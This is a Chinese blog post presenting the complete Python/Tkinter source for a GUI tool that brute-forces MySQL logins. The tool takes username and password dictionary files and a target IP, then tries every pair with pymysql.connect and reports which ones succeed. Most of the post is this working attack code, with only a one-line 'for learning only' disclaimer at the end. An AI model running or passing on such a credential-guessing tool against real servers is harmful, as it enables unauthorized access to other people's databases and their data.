赞
踩
本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具
Tkinter: Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter
可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0
的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。
本次用到的主要是tkinter模块
引用如下
from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import pymysql`
接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下
filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框
fname.set(filepath)
file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径
2.遍历字典
代码如下
username_list = 'C:/test/username.txt'
password_list = 'C:/test/password.txt'
splitChar = '\t' # 设置过滤字符串
splitChar1 = '\n'
with open(username_list, 'r') as f: # 获取字典中的数据,转换为list
datalist = f.readlines()
with open(password_list, 'r') as p:
passwordlist = p.readlines()
3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:
for username1 in datalist: username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符 for passwd in passwordlist: password=passwd.replace(splitChar,'').replace(splitChar1,'') try: #开始爆破 db=pymysql.connect(host,username,password) success=True if success: print("用户名:" + username +" 密码:" + password + "破解成功") p="破解完成!用户名:" + username +" 密码:" + password outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n") except: print("用户名:" + username +" 密码:" + password + "破解失败") outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n") pass outprint.insert(END,p)
4.定义布局,button按钮和输出区域
button如下:
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值
6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:
outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:
from tkinter import * from tkinter.filedialog import * from tkinter import simpledialog import tkinter import os,shutil import pymysql root = Tk() root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例 root.geometry("800x500") # 设置主窗口大小 root.resizable(0, 0) #禁止拉伸 root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发") def Putfile_username(): # 定义字典 fname = tkinter.StringVar() if os.path.exists('C:/test/username.txt'): # 判断指定路径是否存在文件,如果有,则删除 os.remove('C:/test/username.txt') else: pass filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框 fname.set(filepath) file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径 tip="用户名加载完毕!路径:"+file+"\n" os.rename(file,"C:/test/username.txt") # 重命名文件名 outprint.insert(END,tip) def Putfile_password(): if os.path.exists('C:/test/password.txt'): os.remove('C:/test/password.txt') else: pass fpass = tkinter.StringVar() passpath = tkinter.filedialog.askopenfilename() fpass.set(passpath) passfile = shutil.copy(passpath, r'C:\test') tip = "密码加载完毕!路径:" + passfile + "\n" os.rename(passfile, "C:/test/password.txt") outprint.insert(END, tip) #def input_ip(): #r=simpledialog.askstring('', '请输入IP:', initialvalue='') #return r def Msqlattrack(): # 定义爆破模块 username_list = 'C:/test/username.txt' password_list = 'C:/test/password.txt' splitChar = '\t' # 设置过滤字符串 splitChar1 = '\n' with open(username_list, 'r') as f: # 获取字典中的数据,转换为list datalist = f.readlines() with open(password_list, 'r') as p: passwordlist = p.readlines() host = ipVar.get() # 取回输入的IP值 for username1 in datalist: username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符 for passwd in passwordlist: password=passwd.replace(splitChar,'').replace(splitChar1,'') try: #开始爆破 db=pymysql.connect(host,username,password) success=True if success: print("用户名:" + username +" 密码:" + password + "破解成功") p="破解完成!用户名:" + username +" 密码:" + password outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n") except: print("用户名:" + username +" 密码:" + password + "破解失败") outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n") pass outprint.insert(END,p) ipVar=tkinter.StringVar() button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性 button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45) button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45) label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50) e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值 text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7) outprint=Text(root) outprint.pack(side=BOTTOM,expand=YES) #定义打印区域 root.mainloop()
编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图
注:此工具仅作为学习和交流使用
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。